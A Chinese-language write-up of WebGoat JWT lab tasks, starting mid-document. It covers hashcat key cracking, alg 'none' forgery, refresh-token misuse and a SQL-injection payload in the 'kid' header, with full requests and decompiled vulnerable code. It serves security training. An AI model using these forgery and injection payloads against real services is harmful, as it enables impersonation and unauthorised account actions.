} else {
System.out.println("log");
}
} catch (JwtException e) {
e.printStackTrace();
}
}
}
会出现下面的string到boolean的强转错误。
Exception in thread "main" java.lang.ClassCastException: class java.lang.Boolean cannot be cast to class java.lang.String (java.lang.Boolean and java.lang.String are in module java.base of loader 'bootstrap')
at org.example.Main.main(Main.java:16)
解决强转错误后
package org.example;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
public class Main {
public static void main(String[] args) {
String accessToken = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.";
try {
Jwt jwt = Jwts.parser().setSigningKey("dmljdG9yeQ==").parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
boolean isAdmin = (boolean) claims.get("admin");
if (isAdmin) {
System.out.println("removed");
} else {
System.out.println("log");
}
} catch (JwtException e) {
e.printStackTrace();
}
}
}
发现输出removed,说明参数isAdmin的值为true。
猜测:可能是因为java版本问题,在处理数据强转时按照原代码可以进行转换,但是值会出现问题。在Java17下不允许按照题目中的代码写法进行数据强转,出现错误。
任务4-页面8
题目要求:破解JWT,并且将用户名更改为WebGoat重新生成一个JWT。
使用hashcat破解密钥。
┌──(root㉿kali)-[/home/erhui]
└─# hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxNzU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.4NcRYGSh9y9hEWsRR26J_1jucG1zZes5FPiwh7yLev0 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-6500 CPU @ 3.20GHz, 2919/5902 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxNzU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.4NcRYGSh9y9hEWsRR26J_1jucG1zZes5FPiwh7yLev0:shipping
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIE...7yLev0
Time.Started.....: Thu Sep 11 10:28:35 2025 (1 sec)
Time.Estimated...: Thu Sep 11 10:28:36 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 596.4 kH/s (1.56ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 131072/14344385 (0.91%)
Rejected.........: 0/131072 (0.00%)
Restore.Point....: 129024/14344385 (0.90%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: smithfield -> kovacs
Hardware.Mon.#1..: Util: 42%
Started: Thu Sep 11 10:27:40 2025
Stopped: Thu Sep 11 10:28:37 2025
参数说明
- -a:指定破解模式,0代表使用字典破解。
- -m:破解函数,16500WT-HMAC-SHA256的模式编号。
破解的密钥结果为:shipping。
将username的值更改为WebGoat后重新生成JWT(同时注意过期时间,增加一下时间戳)如下:
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NzU5MTQyNiwiZXhwIjoxODU3NTkxNDg2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.tARXN5EnzGFcm7S6ZB7Tp4sI4qWU_wRR5VxCj8h9tjU
于是提交该JWT,任务通过。
任务5-页面10
任务要求:使用Tom的身份来进行结账,提示使用refresh_token(token令牌验证过期时,重新给个refresh_token用于重新获取token)。
解法一(不使用refresh_token):
查看提示,发现存在一个log文件,存在下面这些信息
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
针对这个JWT,通过解码获取前两段信息
{
"alg": "HS512"
}
{
"iat": 1526131411,
"exp": 1526217811,
"admin": "false",
"user": "Tom"
}
将算法改为none并将过期时间延长,生成JWT。使用该JWT发送请求(没有用到refresh_token)
POST /WebGoat/JWT/refresh/checkout HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: Bearer ew0KICAiYWxnIjogIm5vbmUiDQp9.ew0KICAiaWF0IjogMTUyNjEzMTQxMSwNCiAgImV4cCI6IDE5MjYyMTc4MTEsDQogICJhZG1pbiI6ICJmYWxzZSIsDQogICJ1c2VyIjogIlRvbSINCn0=.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 15:45:30 GMT
Content-Length: 204
{
"lessonCompleted" : true,
"feedback" : "Congratulations. You have successfully completed the assignment.",
"output" : null,
"assignment" : "JWTRefreshEndpoint",
"attemptWasMade" : true
}
任务完成。
解法二:
查看源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.owasp.webgoat.jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.ExpiredJwtException;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = new ArrayList();
public JWTRefreshEndpoint() {
}
/*
以Jerry的身份登录可以生成access_token和refresh_token
*/
@PostMapping(
value = {"/JWT/refresh/login"},
consumes = {"application/json"},
produces = {"application/json"}
)
@ResponseBody
public ResponseEntity follow(@RequestBody(required = false) Map<String, Object> json) {
if (json == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
String user = (String)json.get("user");
String password = (String)json.get("password");
return "Jerry".equalsIgnoreCase(user) && "bm5nhSkxCXZkKRy4".equals(password) ? ResponseEntity.ok(this.createNewTokens(user)) : ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = new HashMap();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder().setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10L))).setClaims(claims).signWith(SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4").compact();
Map<String, Object> tokenJson = new HashMap();
String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);
tokenJson.put("refresh_token", refreshToken);
return tokenJson;
}
/*
结账操作,判断JWT是否符合规则,即用户名是否是Tom,密钥是否被篡改
*/
@PostMapping({"/JWT/refresh/checkout"})
@ResponseBody
public ResponseEntity<AttackResult> checkout(@RequestHeader(value = "Authorization",required = false) String token) {
if (token == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parse(token.replace("Bearer ", ""));
Claims claims = (Claims)jwt.getBody();
String user = (String)claims.get("user");
return "Tom".equals(user) ? ResponseEntity.ok(this.success(this).build()) : ResponseEntity.ok(this.failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(new Object[]{user}).build());
} catch (ExpiredJwtException var5) {
ExpiredJwtException e = var5;
return ResponseEntity.ok(this.failed(this).output(e.getMessage()).build());
} catch (JwtException var6) {
return ResponseEntity.ok(this.failed(this).feedback("jwt-invalid-token").build());
}
}
}
/*
获取新的token,缺陷没有判断refresh_token是谁的,这就导致甲生成的refresh_token只要自己没有用到,乙就可以使用甲的refresh_token生成自己的access_token。
*/
@PostMapping({"/JWT/refresh/newToken"})
@ResponseBody
public ResponseEntity newToken(@RequestHeader(value = "Authorization",required = false) String token, @RequestBody(required = false) Map<String, Object> json) {
if (token != null && json != null) {
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parse(token.replace("Bearer ", ""));
user = (String)((Claims)jwt.getBody()).get("user");
refreshToken = (String)json.get("refresh_token");
} catch (ExpiredJwtException var6) {
ExpiredJwtException e = var6;
user = (String)e.getClaims().get("user");
refreshToken = (String)json.get("refresh_token");
}
if (user != null && refreshToken != null) {
if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
return ResponseEntity.ok(this.createNewTokens(user));
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
根据上面的注释信息,我们得到下面一个关于JWT的利用链
graph TB 以Jerry的账户登录获取refresh_token --> 使用Tom过期的JWT和Jerry的refresh_token重新生成Tom的access_token --> 利用Tom的access_token进行结账
具体步骤如下
登录获取refesh_token
POST /WebGoat/JWT/refresh/login HTTP/1.1
Host: localhost:8080
Content-Length: 54
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
{
"user":"Jerry",
"password": "bm5nhSkxCXZkKRy4"
}
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:36:05 GMT
Content-Length: 223
{
"access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
"refresh_token" : "cktERiJFPWTDMuPiNryh"
}
利用Jerry的refresh_token和Tom的过期JWT重新生成Tom有效的JWT
POST /WebGoat/JWT/refresh/newToken HTTP/1.1
Host: localhost:8080
Content-Length: 45
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
{
"refresh_token": "cktERiJFPWTDMuPiNryh"
}
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:39:56 GMT
Content-Length: 220
{
"access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg",
"refresh_token" : "aSpobPigmxnkiIENqFTJ"
}
利用Tom的有效JWT结账
POST /WebGoat/JWT/refresh/checkout HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IlRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZVZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 16:41:10 GMT
Content-Length: 204
{
"lessonCompleted" : true,
"feedback" : "Congratulations. You have successfully completed the assignment.",
"output" : null,
"assignment" : "JWTRefreshEndpoint",
"attemptWasMade" : true
}
任务完成。
任务6-页面11
要求:利用Jerry的当前账户来删除Tom的账户。
答:
先查看源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.owasp.webgoat.jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SigningKeyResolverAdapter;
import io.jsonwebtoken.impl.TextCodec;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.LessonDataSource;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
public class JWTFinalEndpoint extends AssignmentEndpoint {
private final LessonDataSource dataSource;
private JWTFinalEndpoint(LessonDataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping({"/JWT/final/follow/{user}"})
@ResponseBody
public String follow(@PathVariable("user") String user) {
return "Jerry".equals(user) ? "Following yourself seems redundant" : "You are now following Tom";
}
@PostMapping({"/JWT/final/delete"})
@ResponseBody
public AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return this.failed(this).feedback("jwt-invalid-token").build();
} else {
try {
final String[] errorMessage = new String[]{null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
String kid = (String)header.get("kid");
try {
Connection connection = JWTFinalEndpoint.this.dataSource.getConnection();
byte[] var6;
label54: {
try {
/*
以kid字段来获取密钥,再通过密钥来验证JWT,因为没有过滤,所以可以sql注入
*/
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
if (rs.next()) {
/*
在拿到sql中的密钥后又进行了一次base64解码,可见密钥是以base64形式的字符来存储的
*/
var6 = TextCodec.BASE64.decode(rs.getString(1));
break label54;
}
} catch (Throwable var8) {
if (connection != null) {
try {
connection.close();
} catch (Throwable var7) {
var8.addSuppressed(var7);
}
}
throw var8;
}
if (connection != null) {
connection.close();
}
return null;
}
if (connection != null) {
connection.close();
}
return var6;
} catch (SQLException var9) {
SQLException e = var9;
errorMessage[0] = e.getMessage();
return null;
}
}
}).parseClaimsJws(token);
if (errorMessage[0] != null) {
return this.failed(this).output(errorMessage[0]).build();
} else {
Claims claims = (Claims)jwt.getBody();
String username = (String)claims.get("username");
if ("Jerry".equals(username)) {
return this.failed(this).feedback("jwt-final-jerry-account").build();
} else {
return "Tom".equals(username) ? this.success(this).build() : this.failed(this).feedback("jwt-final-not-tom").build();
}
}
} catch (JwtException var6) {
JwtException e = var6;
return this.failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
}
}
}
}
删除Tom时拦截请求
POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
响应结果为
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 17:59:36 GMT
Content-Length: 327
{
"lessonCompleted" : false,
"feedback" : "Not a valid JWT token, please try again",
"output" : "io.jsonwebtoken.SignatureException: JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.",
"assignment" : "JWTFinalEndpoint",
"attemptWasMade" : true
}
添加sql注入,修改有效期,并将sql的搜索的结果进行base64加密
// 头部
{
"typ": "JWT",
"kid": "' union select 'YWJjYWJj' from jwt_keys where id='webgoat_key",
"alg": "HS256"
}
// 载荷
{
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1918905304,
"aud": "webgoat.org",
"sub": "jerry@webgoat.com",
"username": "Tom",
"Email": "jerry@webgoat.com",
"Role": [
"Cat"
]
}
// 对称密钥为abcabc,即'YWJjYWJj'的base64解码结果
重新生成JWT后进行发送请求
POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiInIHVuaW9uIHNlbGVjdCAnWVdKallXSmonIGZyb20gand0X2tleXMgd2hlcmUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTkxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.0H6hZa-0i-ufeECof6lG3IvoNGrvDbnSX5vyWRwgBCk HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive
请求结果为
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 18:12:39 GMT
Content-Length: 202
{
"lessonCompleted" : true,
"feedback" : "Congratulations. You have successfully completed the assignment.",
"output" : null,
"assignment" : "JWTFinalEndpoint",
"attemptWasMade" : true
}
任务完成。